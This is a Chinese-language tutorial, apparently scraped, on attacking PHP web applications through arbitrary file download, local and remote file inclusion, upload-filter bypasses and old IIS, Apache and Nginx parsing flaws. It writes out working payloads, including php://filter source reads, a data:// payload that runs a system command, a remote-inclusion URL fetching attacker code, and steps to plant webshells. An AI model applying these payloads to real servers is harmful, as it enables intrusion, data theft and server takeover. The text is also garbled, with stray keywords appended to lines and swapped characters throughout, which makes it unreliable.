<任意下载漏洞>也叫<任意文件下载漏洞>。许多网站开放下载文件功能,因为下载功能代码对下载文件类型、目录未作限制或限制不当,致使攻击者可下载服务器任意文件。php
经过下载web源码咱们能够得到数据库配置文件,而后能够经过远程数据库连接工具、在线数据库管理工具等连接获取数据库控制权。以后能够:前端
1. 拖库、篡改数据库nginx
2. 获取数据库信息而一步攻击web
3. 直接数据库提权shell
能够经过分析源代码寻找漏洞,进行下一步攻击。数据库
下载passwd、shadow、web配置文件、其余软件配置文件等。而后就能够尝试破解密码和高级一点的根据软件的版原本在本地搭个相同的环境进行PWN攻击测试。apache
<任意文件包含漏洞>也叫<文件包含漏洞>。这个漏洞只存在于PHP网站中,是因为开发人员编写源码,开放着将可重复使用的代码插入到单个的文件中,并在须要的时候将它们包含在特殊的功能代码文件中,而后包含文件中的代码会被解释执行。因为并无针对代码中存在文件包含的函数入口作过滤,致使客户端能够提交恶意构造语句提交,并交由服务器端解释执行。文件包含攻击中Web服务器源码里可能存在inlcude()此类文件包含操做函数,能够经过客户端构造提交文件路径,是该漏洞攻击成功的最主要缘由。安全
分为本地文件包含和远程文件包含,利用的条件是相关函数内的参数可控,且allow_url_fopen = On。服务器
本地文件包含漏洞的常规利用方法有:发现本地文件包含、寻找上传功能、利用包含漏洞包含解析。app
利用include($_GET['file'] . '.php')的原理,方法为:
- %00截断 test.jpg%00 - GPC为OFF
- 超长文件名截断(*nix->4096 win->256) ././././././test.jpg
- 问号 test.jpg?
当网站无上传时,需注意权限:
- 包含日志 (access_log error_log)
- 临时文件 (lfi with phpinfo)
- 包含其余环境变量 (/proc/self/environ)
- php://input
- data://
- php://filter
其中,php://input使用post方式传输咱们要执行的php代码
而data://利用条件须要
allow_url_include = On;
php>=5.2.0
其利用方法
file=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo=
file=data:;base64,PD9waHBpbmZvKCk7Lyo=
file=data:text/plain,<?php system("uname -a");?>
最后的php://filter能够用来读取源代码,且包含漏洞只能读取<非脚本文件>,脚本文件将被当即解析
咱们能够构建以下的语句
http://x.x.x.x/test.php?file=php://filter/read=covert.base64-encode/resource=some.php
以后就会返回some.php源码的base64加密
远程文件包含利用方法:
- 拥有一台远程服务器
- 在服务器上放置一个不可被本服务器上web中间件解析的文件(txt jpg)
- 文件内容中包含攻击代码
- 利用远程包含文件漏洞包含
可构造攻击URL:http://x.x.x.x/test.php?file=http://y.y.y.y/test.jpg
而后在test.jpg放上咱们但愿服务器执行的代码就能够。
文件上传包括了上传头像,上传相册,上传附件,添加新闻图片,自定义主题背景,新闻投稿等等
漏洞分为两种:
代码层:开发者因为对安全意识不足,或者编写代码时对上传文件的合法校验存在缺陷,致使上传漏洞的产生
应用层:Web容器漏洞、CGI、配置不当等等
1.网站的上传拦截只使用JavaScript来校验时,判断绕过JavaScript上传是否可行
1. 因为是JavaScript前端校验,判断上传非法文件那个提示时,有无http包发出
2. 查看HTML代码中是否有相关JavaScript代码
若可进行下去,删除相关的JavaScript代码,或者修改咱们的上传文件的后缀为容许上传的文件类型。
2.因为上传文件的合法性校验使用的是黑名单的方式判断上传文件后缀,由于有些黑名单不全,就存在被攻击者绕过致使的上传漏洞,要判断一个黑名单是否能够绕过,咱们能够用试错法,如上传一个现实中不存在的后缀名文件(file.hatsune),观察服务器的返回状况,若是服务器上传成功,说明这个服务器用的就是黑名单。
绕过手段:
1.变换为等价的文件后缀名
Asp->Asa or cer or cdx
php->php3 or php4 or php5
jsp->jspx
etc.
2.大小写相互转换
asp->asP
php->pHp
etc.
3.利用一些系统的内置规定:
test.test.
or
test.test_(Windows文件名特性)
4. 0x00截断:利用一些php函数的解析文件后缀名的规律
name=getname(request); type=gettype(name); If(type==jpg){ SaveFileToPath(UploadPath.name, name); }
用gettype()函数<从后往前>判断后缀名
咱们上传一个php文件叫test.php,在上传的时候用BurpSuite截包了
改变文件名为:test.php .jpg,其中test.php与.jpg之间是一个空格。
用BurpSuite自带的Hex格式打开:
这里的Hex不是指ASCII编码,而是URL编码,咱们找到20的地方(%20是空格的URL编码)
这时候咱们就完成了这个0x00截断,服务器由于存在00,因此就会忽略后面的内容,因而咱们的文件就绕过了校验上传上去了。
3.只使用了MIME类型检测文件的上传点
MIME(Multipurpose Internet Mail Extensions)是描述消息内容类型的因特网标准,MIME消息能包含文本、图像、音频、视频以及其余应用程序专用的数据,按照内容类型排列的MIME类型列表:
类型/子类型 | 扩展名 |
---|---|
application/envoy | evy |
application/fractals | fif |
application/futuresplash | spl |
application/hta | hta |
application/internet-property-stream | acx |
application/mac-binhex40 | hqx |
application/msword | doc |
application/msword | dot |
有一个代码是这样的
if(($_FILES["file"]["type"] == "image/jpeg")){ do_something(); }else{ echo "Only jpg file can upload"; }
绕过这个上传点的方法:
在上传好比一个php文件的时候,bp截包,将上传流量里面的
...
Content-Type: text/php
...
修改成
...
Content-Type: image/jpeg
...
1. IIS6解析漏洞一
咱们能够构造上传文件名为这样的
webshell.asp;test.jpg
由于这时候IIS只会解析到后面的jpg文件类型而没有前面的asp
因此就容许你上传了,可是咱们上传的文件里面其实还包含了一个webshell.asp
以后咱们的webshell.asp就绕过了上传限制上传到了服务器上了,且这个webshell.asp不会被重命名
(是否是忽然有点羡慕千禧年的黑客们,那时候人们安全意识也很弱,加上计算机基础也不是很好,网站基本都是千疮百孔的啊哈哈哈,这种漏洞如今基本不会见到了)
2. IIS6解析漏洞二
好比咱们构造上传文件名为
webshell.asp/test.jpg
这个解析漏洞是呢在服务器上能够创建任意名称的文件夹,也就是咱们前面的webshell.asp那是一个<文件夹>的名字
而后同时也能够在该文件夹下上传其余文件或建立其余文件夹
3. Apache解析漏洞
首先咱们构造一个文件名为
webshell.php.jpg
Apache呢会先从后往前尝试解析,而后解析到了一个jpg
由于这个jpg是Apache默认不解析的文件名,因此Apache会跳过这个jpg继续往前解析,直到解析到了咱们的php
这个我就懒得复现截图了,咱们就大概说一下利用方法
好比咱们一个php文件叫webshell.php
咱们点击上传,而后BurpSuite截包,将文件名改成
webshell.php.jpg
OK,上传成功,以后咱们在服务器执行
http://x.x.x.x/webshell.php.jpg
这里是假设咱们的上传路径就是网站的根目录,若是不是就自行改为其余目录
以后咱们的php代码就会被Apache执行了
这个解析漏洞的一个好处就是文件上传后不会对文件名进行重命名
漏洞版本包含
apache 2.0.x <= 2.0.59
apache 2.2.x <= 2.2.17
apache 2.2.2 <= 2.2.8
4. Nginx解析漏洞
首先在本地有个webshell.php文件
以后咱们上传,而后将这个上传的php文件名截包,并改成
webshell.jpg%00.php
绕过上传限制
以后
当服务器中设置了cgi.fix_pathinfo = 1的时候
php就会以'/'为分割符从<最后一个文件>开始<向前>找<存在的文件>去执行
而后咱们执行(仍是假设上传目录在网站根目录)
http://x.x.x.x/webshell.jpg/abc.php
咱们上面已经大概说了一下原理
php会以'/'为分隔符取找存在的文件取执行
这里abc.php是我乱写的,故意让服务器找不到这个文件,确定是不存在的
以后Nginx找不到这个文件,就会去试着去前面执行咱们的webshell.jpg
而后咱们的的webshell里面写的php代码就被Nginx执行了
漏洞包含的版本
nginx 0.5.*
nginx 0.6.*
nginx 0.7 <= 0.7.65
nginx 0.8 <= 0.8.37